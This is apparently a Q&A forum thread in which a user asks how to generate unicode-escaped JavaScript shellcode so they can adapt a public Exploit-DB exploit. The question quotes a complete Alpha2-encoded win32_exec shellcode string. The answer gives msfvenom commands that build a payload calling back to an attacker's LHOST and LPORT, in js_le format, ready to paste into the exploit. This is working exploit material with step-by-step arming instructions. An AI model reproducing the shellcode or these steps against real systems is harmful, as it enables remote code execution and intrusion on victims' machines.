Generating unicode javascript shellcode

Question

I'm trying to generate shellcode to modify this exploit: https://www.exploit-db.com/exploits/24947/ It says in the basic exploit:

{'$where':'shellcode=unescape("METASPLOIT JS GENERATED SHELLCODE");

And I'm not really sure what it means. Looking at the other shellcode in the exploit it looks like utf-8 unicode encoded shellcode (eg "%u9090%u9090") but I don't know how to generate it. I've tried with msfvenom and J to generate javascript shellcode but the output's different. Also tried with different encoders (x86/alpha_mixed or x86/unicode_upper) but they fail or they return a different format.

I saw similar shellcode in this exploit: https://www.exploit-db.com/exploits/6317/

// win32_exec -  EXITFUNC=process CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com

var shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4937%u4949%u4949%u4949%u4949" +
             "%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4130%u416b" +
             "%u5541%u4132%u3242%u4242%u4142%u4230%u5841%u3850%u4241%u7875" +
             "%u7969%u6d6c%u3038%u6544%u7550%u7350%u6e30%u516b%u7755%u4c4c" +
             "%u414b%u656c%u3355%u4348%u3831%u4c6f%u304b%u464f%u4c78%u314b" +
             "%u374f%u3450%u4a41%u624b%u4e69%u666b%u6e54%u666b%u6a61%u304e" +
             "%u3931%u4f50%u4c69%u6f6c%u5974%u3450%u3534%u5957%u7951%u565a" +
             "%u776d%u6f71%u7832%u6b6b%u6744%u714b%u6744%u7754%u3474%u4b35" +
             "%u6e55%u436b%u466f%u6544%u3851%u506b%u4c66%u564b%u306c%u4c4b" +
             "%u414b%u374f%u656c%u5a51%u6c4b%u654b%u4c4c%u674b%u6871%u6e6b" +
             "%u7169%u654c%u6674%u5964%u4653%u4951%u6550%u6c34%u634b%u3470" +
             "%u4b70%u4b35%u5470%u3438%u6e4c%u436b%u6670%u4e6c%u626b%u7550" +
             "%u4c4c%u6e6d%u536b%u3758%u4a78%u554b%u4c59%u6d4b%u6e50%u6550" +
             "%u6550%u4750%u6c70%u434b%u6558%u716c%u464f%u5a51%u4156%u3070" +
             "%u4d56%u6c59%u4e38%u4963%u7150%u526b%u7570%u7138%u4b6e%u4b68" +
             "%u3152%u6563%u4c38%u5958%u6e6e%u746a%u714e%u4b47%u7a4f%u7047" +
             "%u6363%u5251%u634c%u5553%u4550");

But again, no notes on how to generate it.

Answer 1

As hinted at in the comment above, you want to use msfvenom to generate your payload.

Start by finding which payload works best for you by using:

msfvenom -l payloads

This will show you a list of all the available payloads.

(I like to grep this for the platform, it makes it easier. msfvenom -l payloads | grep windows)

Once you have your payload selected, you need to tell venom to generate it for you.

msfvenom -p <your payload path> LHOST=<your attacking machine ip> LPORT=<the port you wish to get your shell returned to> -f js_le -e generic/none

This will output a payload that you can copy and paste into your exploit above.